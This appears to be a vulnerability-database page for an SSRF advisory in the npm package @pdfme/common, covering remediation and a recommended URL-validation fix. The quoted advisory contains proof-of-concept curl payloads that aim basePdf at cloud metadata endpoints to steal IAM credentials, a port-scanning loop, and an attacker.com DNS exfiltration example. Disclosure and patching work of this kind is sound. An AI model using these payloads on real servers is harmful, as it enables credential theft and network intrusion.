Vulnerabilities in pkg:npm/@pdfme/common

PACKAGE
Advisory Summary

GHSA-pgx6-7jcq-2qff is a MODERATE (CVSS 6.8) pdfme has ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @pdfme/common libraries in the npm ecosystem. The issue involves pdfme has ssrf via unvalidated url fetch in `getb64basepdf` when `basepdf` is attacker-controlled. Remediation is available by upgrading affected packages to version 5.5.10.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@pdfme/common

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@pdfme/common. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-pgx6-7jcq-2qff - MODERATE PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled
GHSA-54xv-94qv-2gfg CVE-2025-53626 MODERATE @pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation

GHSA-pgx6-7jcq-2qff at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-pgx6-7jcq-2qff
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @pdfme/common
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-pgx6-7jcq-2qff

To remediate this vulnerability, upgrade all affected @pdfme/common dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@pdfme/common fixed: 5.5.10
npm install @pdfme/common@5.5.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @pdfme/common

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-pgx6-7jcq-2qff, inspect your project dependencies using npm:

npm ls @pdfme/common

Analyze the terminal output to locate any version of @pdfme/common in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.10), your application is affected.

Note: The npm ls @pdfme/common command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @pdfme/common, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts. ## Details The vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`: ```typescript // packages/common/src/helper.ts:130-141 export const getB64BasePdf = async ( customPdf: ArrayBuffer | Uint8Array | string, ): Promise<string> => { if ( typeof customPdf === 'string' && !customPdf.startsWith('data:application/pdf;') && typeof window !== 'undefined' ) { const response = await fetch(customPdf); // <-- No URL validation const blob = await response.blob(); return blob2Base64Pdf(blob); } // ... }; ``` The Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string: ```typescript export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]); export const BasePdf = z.union([CustomPdf, BlankPdf]); ``` The `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline. This function is called from multiple entry points: - `packages/generator/src/helper.ts:42` — during PDF generation - `packages/ui/src/hooks.ts:67` — during UI rendering - `packages/ui/src/helper.ts:292` — during template processing The `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions. ## PoC ### 1. Setup a vulnerable application ```javascript // server.js — Next.js API route or Express handler using pdfme import { generate } from '@pdfme/generator'; export async function POST(req) { const { template, inputs } = await req.json(); // Application accepts user-provided templates const pdf = await generate({ template, inputs, plugins: {} }); return new Response(pdf); } ``` ### 2. Probe internal services via SSRF ```bash # Attacker sends a template with basePdf pointing to an internal service curl -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d '{ "template": { "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "schemas": [[]] }, "inputs": [{}] }' ``` ### 3. Port scanning internal network ```bash # Scan internal hosts by observing response timing differences for port in 80 443 3306 5432 6379 8080; do curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d "{ \"template\": { \"basePdf\": \"http://10.0.0.1:${port}/\", \"schemas\": [[]] }, \"inputs\": [{}] }" echo " - port $port" done ``` ### 4. Exfiltrate cloud metadata (AWS example) ```bash # In SSR context, fetch reads the full response body and converts to base64 curl -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d '{ "template": { "basePdf": "http://169.254.169.254/latest/meta-data/", "schemas": [[]] }, "inputs": [{}] }' # The fetch will succeed; the response will fail PDF parsing, # but error messages or timing differences leak information ``` ## Impact - **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys. - **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences. - **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server. - **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers). - **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://<stolen-data>.attacker.com` to leak information even when responses are not readable. ## Recommended Fix Add URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges: ```typescript // packages/common/src/helper.ts const BLOCKED_HOSTNAME_PATTERNS = [ /^localhost$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2\d|3[01])\./, /^192\.168\./, /^169\.254\./, /^0\./, /^\[::1\]/, /^\[fc/i, /^\[fd/i, /^\[fe80:/i, ]; function validatePdfUrl(urlString: string): void { let parsed: URL; try { parsed = new URL(urlString); } catch { throw new Error(`Invalid basePdf URL: ${urlString}`); } if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') { throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`); } const hostname = parsed.hostname; for (const pattern of BLOCKED_HOSTNAME_PATTERNS) { if (pattern.test(hostname)) { throw new Error(`basePdf URL must not point to private/reserved addresses`); } } } export const getB64BasePdf = async ( customPdf: ArrayBuffer | Uint8Array | string, ): Promise<string> => { if ( typeof customPdf === 'string' && !customPdf.startsWith('data:application/pdf;') && typeof window !== 'undefined' ) { validatePdfUrl(customPdf); // <-- Add validation before fetch const response = await fetch(customPdf); const blob = await response.blob(); return blob2Base64Pdf(blob); } // ... }; ``` Additionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.

GHSA-pgx6-7jcq-2qff Affected @pdfme/common Versions

1 component(s)
Fixed Versions:
5.5.10
Product / Package Ecosystem Affected Versions Fixed Version
@pdfme/common
npm
< 5.5.10
5.5.10

References

Frequently Asked Questions

What is GHSA-pgx6-7jcq-2qff?
GHSA-pgx6-7jcq-2qff is a security vulnerability in @pdfme/common involving PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled under CWE-918: Server-Side Request Forgery (SSRF).
Which @pdfme/common versions are affected?
Affected versions include releases prior to 5.5.10 across affected packages: @pdfme/common.
What version fixes GHSA-pgx6-7jcq-2qff?
Upgrading to 5.5.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @pdfme/common affected?
Yes, @pdfme/common is affected in releases prior to 5.5.10. Upgrade your dependency to 5.5.10 or later.
What is the CVSS score of GHSA-pgx6-7jcq-2qff?
GHSA-pgx6-7jcq-2qff has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-pgx6-7jcq-2qff?
GHSA-pgx6-7jcq-2qff is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for GHSA-pgx6-7jcq-2qff?
Run the dependency tree command: 'npm ls @pdfme/common'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgx6-7jcq-2qff",
  "modified" : "2026-03-20T20:45:17Z",
  "published" : "2026-03-20T20:45:17Z",
  "aliases" : [ ],
  "summary" : "PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled",
  "details" : "## Summary\n\nThe `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.\n\n## Details\n\nThe vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:\n\n```typescript\n// packages/common/src/helper.ts:130-141\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    const response = await fetch(customPdf);  // <-- No URL validation\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nThe Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:\n\n```typescript\nexport const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);\nexport const BasePdf = z.union([CustomPdf, BlankPdf]);\n```\n\nThe `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.\n\nThis function is called from multiple entry points:\n- `packages/generator/src/helper.ts:42` — during PDF generation\n- `packages/ui/src/hooks.ts:67` — during UI rendering\n- `packages/ui/src/helper.ts:292` — during template processing\n\nThe `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.\n\n## PoC\n\n### 1. Setup a vulnerable application\n\n```javascript\n// server.js — Next.js API route or Express handler using pdfme\nimport { generate } from '@pdfme/generator';\n\nexport async function POST(req) {\n  const { template, inputs } = await req.json();\n  // Application accepts user-provided templates\n  const pdf = await generate({ template, inputs, plugins: {} });\n  return new Response(pdf);\n}\n```\n\n### 2. Probe internal services via SSRF\n\n```bash\n# Attacker sends a template with basePdf pointing to an internal service\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n```\n\n### 3. Port scanning internal network\n\n```bash\n# Scan internal hosts by observing response timing differences\nfor port in 80 443 3306 5432 6379 8080; do\n  curl -s -o /dev/null -w \"%{time_total}\" -X POST http://target-app.com/api/generate-pdf \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\n      \\\"template\\\": {\n        \\\"basePdf\\\": \\\"http://10.0.0.1:${port}/\\\",\n        \\\"schemas\\\": [[]]\n      },\n      \\\"inputs\\\": [{}]\n    }\"\n  echo \" - port $port\"\ndone\n```\n\n### 4. Exfiltrate cloud metadata (AWS example)\n\n```bash\n# In SSR context, fetch reads the full response body and converts to base64\ncurl -X POST http://target-app.com/api/generate-pdf \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"template\": {\n      \"basePdf\": \"http://169.254.169.254/latest/meta-data/\",\n      \"schemas\": [[]]\n    },\n    \"inputs\": [{}]\n  }'\n# The fetch will succeed; the response will fail PDF parsing,\n# but error messages or timing differences leak information\n```\n\n## Impact\n\n- **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys.\n- **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences.\n- **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server.\n- **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers).\n- **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://<stolen-data>.attacker.com` to leak information even when responses are not readable.\n\n## Recommended Fix\n\nAdd URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges:\n\n```typescript\n// packages/common/src/helper.ts\n\nconst BLOCKED_HOSTNAME_PATTERNS = [\n  /^localhost$/i,\n  /^127\\./,\n  /^10\\./,\n  /^172\\.(1[6-9]|2\\d|3[01])\\./,\n  /^192\\.168\\./,\n  /^169\\.254\\./,\n  /^0\\./,\n  /^\\[::1\\]/,\n  /^\\[fc/i,\n  /^\\[fd/i,\n  /^\\[fe80:/i,\n];\n\nfunction validatePdfUrl(urlString: string): void {\n  let parsed: URL;\n  try {\n    parsed = new URL(urlString);\n  } catch {\n    throw new Error(`Invalid basePdf URL: ${urlString}`);\n  }\n\n  if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {\n    throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);\n  }\n\n  const hostname = parsed.hostname;\n  for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {\n    if (pattern.test(hostname)) {\n      throw new Error(`basePdf URL must not point to private/reserved addresses`);\n    }\n  }\n}\n\nexport const getB64BasePdf = async (\n  customPdf: ArrayBuffer | Uint8Array | string,\n): Promise<string> => {\n  if (\n    typeof customPdf === 'string' &&\n    !customPdf.startsWith('data:application/pdf;') &&\n    typeof window !== 'undefined'\n  ) {\n    validatePdfUrl(customPdf);  // <-- Add validation before fetch\n    const response = await fetch(customPdf);\n    const blob = await response.blob();\n    return blob2Base64Pdf(blob);\n  }\n  // ...\n};\n```\n\nAdditionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@pdfme/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.5.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pdfme/pdfme"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:45:17Z",
    "nvd_published_at" : null
  }
}